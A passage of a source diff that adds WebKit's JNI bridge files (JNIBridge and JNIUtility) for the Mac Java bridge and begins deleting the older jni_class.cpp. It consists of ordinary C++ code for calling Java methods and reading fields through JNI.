+++ b/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.cpp
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2009 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JNIBridge.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "CString.h"
+#include "StringBuilder.h"
+
+
+using namespace JSC;
+using namespace JSC::Bindings;
+using namespace WebCore;
+
+
+JavaParameter::JavaParameter(JNIEnv* env, jstring type)
+{
+    m_type = JavaString(env, type);
+    m_JNIType = JNITypeFromClassName(m_type.UTF8String());
+}
+
+JavaMethod::JavaMethod(JNIEnv* env, jobject aMethod)
+{
+    // Get return type name
+    jstring returnTypeName = 0;
+    if (jobject returnType = callJNIMethod<jobject>(aMethod, "getReturnType", "()Ljava/lang/Class;")) {
+            returnTypeName = static_cast<jstring>(callJNIMethod<jobject>(returnType, "getName", "()Ljava/lang/String;"));
+        if (!returnTypeName)
+            returnTypeName = env->NewStringUTF("<Unknown>");
+        env->DeleteLocalRef(returnType);
+    }
+    m_returnType = JavaString(env, returnTypeName);
+    m_JNIReturnType = JNITypeFromClassName(m_returnType.UTF8String());
+    env->DeleteLocalRef(returnTypeName);
+
+    // Get method name
+    jstring methodName = static_cast<jstring>(callJNIMethod<jobject>(aMethod, "getName", "()Ljava/lang/String;"));
+    if (!returnTypeName)
+        returnTypeName = env->NewStringUTF("<Unknown>");
+    m_name = JavaString(env, methodName);
+    env->DeleteLocalRef(methodName);
+
+    // Get parameters
+    if (jarray jparameters = static_cast<jarray>(callJNIMethod<jobject>(aMethod, "getParameterTypes", "()[Ljava/lang/Class;"))) {
+        m_numParameters = env->GetArrayLength(jparameters);
+        m_parameters = new JavaParameter[m_numParameters];
+
+        for (int i = 0; i < m_numParameters; i++) {
+            jobject aParameter = env->GetObjectArrayElement(static_cast<jobjectArray>(jparameters), i);
+            jstring parameterName = static_cast<jstring>(callJNIMethod<jobject>(aParameter, "getName", "()Ljava/lang/String;"));
+            if (!parameterName)
+                parameterName = env->NewStringUTF("<Unknown>");
+            m_parameters[i] = JavaParameter(env, parameterName);
+            env->DeleteLocalRef(aParameter);
+            env->DeleteLocalRef(parameterName);
+        }
+        env->DeleteLocalRef(jparameters);
+    } else {
+        m_numParameters = 0;
+        m_parameters = 0;
+    }
+
+    // Created lazily.
+    m_signature = 0;
+    m_methodID = 0;
+
+    jclass modifierClass = env->FindClass("java/lang/reflect/Modifier");
+    int modifiers = callJNIMethod<jint>(aMethod, "getModifiers", "()I");
+    m_isStatic = static_cast<bool>(callJNIStaticMethod<jboolean>(modifierClass, "isStatic", "(I)Z", modifiers));
+    env->DeleteLocalRef(modifierClass);
+}
+
+JavaMethod::~JavaMethod()
+{
+    if (m_signature)
+        fastFree(m_signature);
+    delete[] m_parameters;
+};
+
+// JNI method signatures use '/' between components of a class name, but
+// we get '.' between components from the reflection API.
+static void appendClassName(StringBuilder& builder, const char* className)
+{
+#if USE(JSC)
+    ASSERT(JSLock::lockCount() > 0);
+#endif
+
+    char* c = fastStrDup(className);
+
+    char* result = c;
+    while (*c) {
+        if (*c == '.')
+            *c = '/';
+        c++;
+    }
+
+    builder.append(result);
+
+    fastFree(result);
+}
+
+const char* JavaMethod::signature() const
+{
+    if (!m_signature) {
+#if USE(JSC)
+        JSLock lock(SilenceAssertionsOnly);
+#endif
+
+        StringBuilder signatureBuilder;
+        signatureBuilder.append("(");
+        for (int i = 0; i < m_numParameters; i++) {
+            JavaParameter* aParameter = parameterAt(i);
+            JNIType type = aParameter->getJNIType();
+            if (type == array_type)
+                appendClassName(signatureBuilder, aParameter->type());
+            else {
+                signatureBuilder.append(signatureFromPrimitiveType(type));
+                if (type == object_type) {
+                    appendClassName(signatureBuilder, aParameter->type());
+                    signatureBuilder.append(";");
+                }
+            }
+        }
+        signatureBuilder.append(")");
+
+        const char* returnType = m_returnType.UTF8String();
+        if (m_JNIReturnType == array_type)
+            appendClassName(signatureBuilder, returnType);
+        else {
+            signatureBuilder.append(signatureFromPrimitiveType(m_JNIReturnType));
+            if (m_JNIReturnType == object_type) {
+                appendClassName(signatureBuilder, returnType);
+                signatureBuilder.append(";");
+            }
+        }
+
+        String signatureString = signatureBuilder.toString();
+        m_signature = fastStrDup(signatureString.utf8().data());
+    }
+
+    return m_signature;
+}
+
+JNIType JavaMethod::JNIReturnType() const
+{
+    return m_JNIReturnType;
+}
+
+jmethodID JavaMethod::methodID(jobject obj) const
+{
+    if (!m_methodID)
+        m_methodID = getMethodID(obj, m_name.UTF8String(), signature());
+    return m_methodID;
+}
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.h b/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.h
new file mode 100644
index 0000000..5d482a7
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/JNIBridge.h
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2009, 2010 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JNIBridge_h
+#define JNIBridge_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "Bridge.h"
+#include "JNIUtility.h"
+
+#if USE(JSC)
+#include "JavaStringJSC.h"
+#elif USE(V8)
+#include "JavaStringV8.h"
+#endif
+
+namespace JSC {
+
+namespace Bindings {
+
+typedef const char* RuntimeType;
+
+class JavaString {
+public:
+    JavaString()
+    {
+        m_impl.init();
+    }
+
+    JavaString(JNIEnv* e, jstring s)
+    {
+        m_impl.init(e, s);
+    }
+
+    JavaString(jstring s)
+    {
+        m_impl.init(getJNIEnv(), s);
+    }
+
+    const char* UTF8String() const { return m_impl.UTF8String(); }
+    const jchar* uchars() const { return m_impl.uchars(); }
+    int length() const { return m_impl.length(); }
+#if USE(JSC)
+    operator UString() const { return m_impl.uString(); }
+#endif
+
+private:
+    JavaStringImpl m_impl;
+};
+
+class JavaParameter {
+public:
+    JavaParameter() : m_JNIType(invalid_type) { }
+    JavaParameter(JNIEnv*, jstring type);
+    virtual ~JavaParameter() { }
+
+    RuntimeType type() const { return m_type.UTF8String(); }
+    JNIType getJNIType() const { return m_JNIType; }
+
+private:
+    JavaString m_type;
+    JNIType m_JNIType;
+};
+
+class JavaMethod : public Method {
+public:
+    JavaMethod(JNIEnv*, jobject aMethod);
+    ~JavaMethod();
+
+    const JavaString& name() const { return m_name; }
+    RuntimeType returnType() const { return m_returnType.UTF8String(); }
+    JavaParameter* parameterAt(int i) const { return &m_parameters[i]; }
+    int numParameters() const { return m_numParameters; }
+
+    const char* signature() const;
+    JNIType JNIReturnType() const;
+
+    jmethodID methodID(jobject obj) const;
+
+    bool isStatic() const { return m_isStatic; }
+
+private:
+    JavaParameter* m_parameters;
+    int m_numParameters;
+    JavaString m_name;
+    mutable char* m_signature;
+    JavaString m_returnType;
+    JNIType m_JNIReturnType;
+    mutable jmethodID m_methodID;
+    bool m_isStatic;
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JNIBridge_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.cpp
new file mode 100644
index 0000000..ece39ed
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.cpp
@@ -0,0 +1,343 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2008, 2009, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JNIUtility.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include <dlfcn.h>
+
+namespace JSC {
+
+namespace Bindings {
+
+static jint KJSGetCreatedJavaVMs(JavaVM** vmBuf, jsize bufLen, jsize* nVMs)
+{
+    static void* javaVMFramework = 0;
+    if (!javaVMFramework)
+        javaVMFramework = dlopen("/System/Library/Frameworks/JavaVM.framework/JavaVM", RTLD_LAZY);
+    if (!javaVMFramework)
+        return JNI_ERR;
+
+    typedef jint(*FunctionPointerType)(JavaVM**, jsize, jsize*);
+    static FunctionPointerType functionPointer = 0;
+    if (!functionPointer)
+        functionPointer = reinterpret_cast<FunctionPointerType>(dlsym(javaVMFramework, "JNI_GetCreatedJavaVMs"));
+    if (!functionPointer)
+        return JNI_ERR;
+    return functionPointer(vmBuf, bufLen, nVMs);
+}
+
+static JavaVM* jvm = 0;
+
+// Provide the ability for an outside component to specify the JavaVM to use
+// If the jvm value is set, the getJavaVM function below will just return.
+// In getJNIEnv(), if AttachCurrentThread is called to a VM that is already
+// attached, the result is a no-op.
+void setJavaVM(JavaVM* javaVM)
+{
+    jvm = javaVM;
+}
+
+JavaVM* getJavaVM()
+{
+    if (jvm)
+        return jvm;
+
+    JavaVM* jvmArray[1];
+    jsize bufLen = 1;
+    jsize nJVMs = 0;
+    jint jniError = 0;
+
+    // Assumes JVM is already running ..., one per process
+    jniError = KJSGetCreatedJavaVMs(jvmArray, bufLen, &nJVMs);
+    if (jniError == JNI_OK && nJVMs > 0)
+        jvm = jvmArray[0];
+    else
+        LOG_ERROR("JNI_GetCreatedJavaVMs failed, returned %ld", static_cast<long>(jniError));
+
+    return jvm;
+}
+
+JNIEnv* getJNIEnv()
+{
+    union {
+        JNIEnv* env;
+        void* dummy;
+    } u;
+    jint jniError = 0;
+
+    jniError = getJavaVM()->AttachCurrentThread(&u.dummy, 0);
+    if (jniError == JNI_OK)
+        return u.env;
+    LOG_ERROR("AttachCurrentThread failed, returned %ld", static_cast<long>(jniError));
+    return 0;
+}
+
+jmethodID getMethodID(jobject obj, const char* name, const char* sig)
+{
+    JNIEnv* env = getJNIEnv();
+    jmethodID mid = 0;
+
+    if (env) {
+        jclass cls = env->GetObjectClass(obj);
+        if (cls) {
+            mid = env->GetMethodID(cls, name, sig);
+            if (!mid) {
+                env->ExceptionClear();
+                mid = env->GetStaticMethodID(cls, name, sig);
+                if (!mid)
+                    env->ExceptionClear();
+            }
+        }
+        env->DeleteLocalRef(cls);
+    }
+    return mid;
+}
+
+const char* getCharactersFromJString(jstring aJString)
+{
+    return getCharactersFromJStringInEnv(getJNIEnv(), aJString);
+}
+
+void releaseCharactersForJString(jstring aJString, const char* s)
+{
+    releaseCharactersForJStringInEnv(getJNIEnv(), aJString, s);
+}
+
+const char* getCharactersFromJStringInEnv(JNIEnv* env, jstring aJString)
+{
+    jboolean isCopy;
+    const char* s = env->GetStringUTFChars(aJString, &isCopy);
+    if (!s) {
+        env->ExceptionDescribe();
+        env->ExceptionClear();
+        fprintf(stderr, "\n");
+    }
+    return s;
+}
+
+void releaseCharactersForJStringInEnv(JNIEnv* env, jstring aJString, const char* s)
+{
+    env->ReleaseStringUTFChars(aJString, s);
+}
+
+const jchar* getUCharactersFromJStringInEnv(JNIEnv* env, jstring aJString)
+{
+    jboolean isCopy;
+    const jchar* s = env->GetStringChars(aJString, &isCopy);
+    if (!s) {
+        env->ExceptionDescribe();
+        env->ExceptionClear();
+        fprintf(stderr, "\n");
+    }
+    return s;
+}
+
+void releaseUCharactersForJStringInEnv(JNIEnv* env, jstring aJString, const jchar* s)
+{
+    env->ReleaseStringChars(aJString, s);
+}
+
+JNIType JNITypeFromClassName(const char* name)
+{
+    JNIType type;
+
+    if (!strcmp("byte", name))
+        type = byte_type;
+    else if (!strcmp("short", name))
+        type = short_type;
+    else if (!strcmp("int", name))
+        type = int_type;
+    else if (!strcmp("long", name))
+        type = long_type;
+    else if (!strcmp("float", name))
+        type = float_type;
+    else if (!strcmp("double", name))
+        type = double_type;
+    else if (!strcmp("char", name))
+        type = char_type;
+    else if (!strcmp("boolean", name))
+        type = boolean_type;
+    else if (!strcmp("void", name))
+        type = void_type;
+    else if ('[' == name[0])
+        type = array_type;
+    else
+        type = object_type;
+
+    return type;
+}
+
+const char* signatureFromPrimitiveType(JNIType type)
+{
+    switch (type) {
+    case void_type:
+        return "V";
+
+    case array_type:
+        return "[";
+
+    case object_type:
+        return "L";
+
+    case boolean_type:
+        return "Z";
+
+    case byte_type:
+        return "B";
+
+    case char_type:
+        return "C";
+
+    case short_type:
+        return "S";
+
+    case int_type:
+        return "I";
+
+    case long_type:
+        return "J";
+
+    case float_type:
+        return "F";
+
+    case double_type:
+        return "D";
+
+    case invalid_type:
+    default:
+        break;
+    }
+    return "";
+}
+
+JNIType JNITypeFromPrimitiveType(char type)
+{
+    switch (type) {
+    case 'V':
+        return void_type;
+
+    case 'L':
+        return object_type;
+
+    case '[':
+        return array_type;
+
+    case 'Z':
+        return boolean_type;
+
+    case 'B':
+        return byte_type;
+
+    case 'C':
+        return char_type;
+
+    case 'S':
+        return short_type;
+
+    case 'I':
+        return int_type;
+
+    case 'J':
+        return long_type;
+
+    case 'F':
+        return float_type;
+
+    case 'D':
+        return double_type;
+
+    default:
+        break;
+    }
+    return invalid_type;
+}
+
+jvalue getJNIField(jobject obj, JNIType type, const char* name, const char* signature)
+{
+    JavaVM* jvm = getJavaVM();
+    JNIEnv* env = getJNIEnv();
+    jvalue result;
+
+    memset(&result, 0, sizeof(jvalue));
+    if (obj && jvm && env) {
+        jclass cls = env->GetObjectClass(obj);
+        if (cls) {
+            jfieldID field = env->GetFieldID(cls, name, signature);
+            if (field) {
+                switch (type) {
+                case array_type:
+                case object_type:
+                    result.l = env->functions->GetObjectField(env, obj, field);
+                    break;
+                case boolean_type:
+                    result.z = env->functions->GetBooleanField(env, obj, field);
+                    break;
+                case byte_type:
+                    result.b = env->functions->GetByteField(env, obj, field);
+                    break;
+                case char_type:
+                    result.c = env->functions->GetCharField(env, obj, field);
+                    break;
+                case short_type:
+                    result.s = env->functions->GetShortField(env, obj, field);
+                    break;
+                case int_type:
+                    result.i = env->functions->GetIntField(env, obj, field);
+                    break;
+                case long_type:
+                    result.j = env->functions->GetLongField(env, obj, field);
+                    break;
+                case float_type:
+                    result.f = env->functions->GetFloatField(env, obj, field);
+                    break;
+                case double_type:
+                    result.d = env->functions->GetDoubleField(env, obj, field);
+                    break;
+                default:
+                    LOG_ERROR("Invalid field type (%d)", static_cast<int>(type));
+                }
+            } else {
+                LOG_ERROR("Could not find field: %s", name);
+                env->ExceptionDescribe();
+                env->ExceptionClear();
+                fprintf(stderr, "\n");
+            }
+
+            env->DeleteLocalRef(cls);
+        } else
+            LOG_ERROR("Could not find class for object");
+    }
+
+    return result;
+}
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.h b/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.h
new file mode 100644
index 0000000..0eb889c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/JNIUtility.h
@@ -0,0 +1,275 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2008, 2009, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JNIUtility_h
+#define JNIUtility_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include <JavaVM/jni.h>
+
+// The order of these items can not be modified as they are tightly
+// bound with the JVM on Mac OSX. If new types need to be added, they
+// should be added to the end. It is used in jni_obc.mm when calling
+// through to the JVM. Newly added items need to be made compatible
+// in that file.
+typedef enum {
+    invalid_type = 0,
+    void_type,
+    object_type,
+    boolean_type,
+    byte_type,
+    char_type,
+    short_type,
+    int_type,
+    long_type,
+    float_type,
+    double_type,
+    array_type
+} JNIType;
+
+namespace JSC {
+
+namespace Bindings {
+
+class JavaParameter;
+
+const char* getCharactersFromJString(jstring);
+void releaseCharactersForJString(jstring, const char*);
+
+const char* getCharactersFromJStringInEnv(JNIEnv*, jstring);
+void releaseCharactersForJStringInEnv(JNIEnv*, jstring, const char*);
+const jchar* getUCharactersFromJStringInEnv(JNIEnv*, jstring);
+void releaseUCharactersForJStringInEnv(JNIEnv*, jstring, const jchar*);
+
+JNIType JNITypeFromClassName(const char* name);
+JNIType JNITypeFromPrimitiveType(char type);
+const char* signatureFromPrimitiveType(JNIType);
+
+jvalue getJNIField(jobject, JNIType, const char* name, const char* signature);
+
+jmethodID getMethodID(jobject, const char* name, const char* sig);
+JNIEnv* getJNIEnv();
+JavaVM* getJavaVM();
+void setJavaVM(JavaVM*);
+
+
+template <typename T> struct JNICaller;
+
+template<> struct JNICaller<void> {
+    static void callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        getJNIEnv()->CallVoidMethodA(obj, mid, args);
+    }
+    static void callV(jobject obj, jmethodID mid, va_list args)
+    {
+        getJNIEnv()->CallVoidMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jobject> {
+    static jobject callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallObjectMethodA(obj, mid, args);
+    }
+    static jobject callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallObjectMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jboolean> {
+    static jboolean callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallBooleanMethodA(obj, mid, args);
+    }
+    static jboolean callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallBooleanMethodV(obj, mid, args);
+    }
+    static jboolean callStaticV(jclass cls, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallStaticBooleanMethod(cls, mid, args);
+    }
+};
+
+template<> struct JNICaller<jbyte> {
+    static jbyte callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallByteMethodA(obj, mid, args);
+    }
+    static jbyte callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallByteMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jchar> {
+    static jchar callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallCharMethodA(obj, mid, args);
+    }
+    static jchar callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallCharMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jshort> {
+    static jshort callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallShortMethodA(obj, mid, args);
+    }
+    static jshort callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallShortMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jint> {
+    static jint callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallIntMethodA(obj, mid, args);
+    }
+    static jint callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallIntMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jlong> {
+    static jlong callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallLongMethodA(obj, mid, args);
+    }
+    static jlong callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallLongMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jfloat> {
+    static jfloat callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallFloatMethodA(obj, mid, args);
+    }
+    static jfloat callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallFloatMethodV(obj, mid, args);
+    }
+};
+
+template<> struct JNICaller<jdouble> {
+    static jdouble callA(jobject obj, jmethodID mid, jvalue* args)
+    {
+        return getJNIEnv()->CallDoubleMethodA(obj, mid, args);
+    }
+    static jdouble callV(jobject obj, jmethodID mid, va_list args)
+    {
+        return getJNIEnv()->CallDoubleMethodV(obj, mid, args);
+    }
+};
+
+template<typename T> T callJNIMethodIDA(jobject obj, jmethodID mid, jvalue *args)
+{
+    return JNICaller<T>::callA(obj, mid, args);
+}
+
+template<typename T>
+static T callJNIMethodV(jobject obj, const char* name, const char* sig, va_list args)
+{
+    JavaVM* jvm = getJavaVM();
+    JNIEnv* env = getJNIEnv();
+
+    if (obj && jvm && env) {
+        jclass cls = env->GetObjectClass(obj);
+        if (cls) {
+            jmethodID mid = env->GetMethodID(cls, name, sig);
+            if (mid) {
+                // Avoids references to cls without popping the local frame.
+                env->DeleteLocalRef(cls);
+                return JNICaller<T>::callV(obj, mid, args);
+            }
+            LOG_ERROR("Could not find method: %s for %p", name, obj);
+            env->ExceptionDescribe();
+            env->ExceptionClear();
+            fprintf(stderr, "\n");
+
+            env->DeleteLocalRef(cls);
+        } else
+            LOG_ERROR("Could not find class for %p", obj);
+    }
+
+    return 0;
+}
+
+template<typename T>
+T callJNIMethod(jobject obj, const char* methodName, const char* methodSignature, ...)
+{
+    va_list args;
+    va_start(args, methodSignature);
+
+    T result = callJNIMethodV<T>(obj, methodName, methodSignature, args);
+
+    va_end(args);
+
+    return result;
+}
+
+template<typename T>
+T callJNIStaticMethod(jclass cls, const char* methodName, const char* methodSignature, ...)
+{
+    JavaVM* jvm = getJavaVM();
+    JNIEnv* env = getJNIEnv();
+    va_list args;
+
+    va_start(args, methodSignature);
+
+    T result = 0;
+
+    if (cls && jvm && env) {
+        jmethodID mid = env->GetStaticMethodID(cls, methodName, methodSignature);
+        if (mid)
+            result = JNICaller<T>::callStaticV(cls, mid, args);
+        else {
+            LOG_ERROR("Could not find method: %s for %p", methodName, cls);
+            env->ExceptionDescribe();
+            env->ExceptionClear();
+            fprintf(stderr, "\n");
+        }
+    }
+
+    va_end(args);
+
+    return result;
+}
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JNIUtility_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.cpp
deleted file mode 100644
index 012b047..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_class.cpp
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "jni_class.h"
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include "JSDOMWindow.h"
-#include <runtime/Identifier.h>
-#include <runtime/JSLock.h>
-#include "jni_utility.h"
-#include "jni_runtime.h"
-
-using namespace JSC::Bindings;
-
-JavaClass::JavaClass(jobject anInstance)
-{
